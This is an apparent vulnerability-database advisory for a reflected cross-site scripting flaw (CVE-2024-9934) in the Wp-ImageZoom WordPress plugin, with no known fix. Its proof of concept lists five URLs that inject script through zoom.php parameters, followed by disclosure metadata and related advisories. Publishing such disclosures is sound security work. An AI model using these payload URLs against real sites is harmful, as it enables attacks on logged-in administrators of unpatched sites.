Wp-ImageZoom <= 1.1.0 – Reflected XSS | CVE 2024-9934 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape some parameters before outputting them back in a page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open one of the URLs below:

https://example.com/wp-content/plugins/wp-imagezoom/zoom.php?src='</script><script>alert(origin)</script>

https://example.com/wp-content/plugins/wp-imagezoom/zoom.php?dl='</script><script>alert(origin)</script>

https://example.com/wp-content/plugins/wp-imagezoom/zoom.php?mz='</script><script>alert(origin)</script>

https://example.com/wp-content/plugins/wp-imagezoom/zoom.php?cl='</script><script>alert(origin)</script>

https://example.com/wp-content/plugins/wp-imagezoom/zoom.php?zs='</script><script>alert(origin)</script>

Affects Plugins

No known fix

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Mohammad Nikouei

Submitter

Mohammad Nikouei

Submitter twitter

NikoueiMohammad

Verified

Yes

WPVDB ID

53e640a7-833e-40de-93d4-acea28aff5a5

Timeline

Publicly Published

2024-10-16 (about 1 year ago)

Added

2024-10-16 (about 1 year ago)

Last Updated

2024-10-16 (about 1 year ago)

Other

Published

Title

Published

2024-12-02

Title

Quick License Manager – WooCommerce Plugin < 2.4.18 - Reflected Cross-Site Scripting

Published

2022-11-10

Title

WP Page Builder <= 1.2.8 - Admin+ Stored Cross-Site

Published

2021-10-28

Title

Contact Form by Supsystic < 1.7.20 - Admin+ Stored Cross-Site Scripting

Published

2024-05-22

Title

Sassy social share < 3.3.63 Admin+ Stored Cross-Site scripting

Published

2024-05-21

Title

NextScripts: Social Networks Auto-Poster < 4.4.4 - Unauthenticated Stored Cross-Site Scripting via User Agent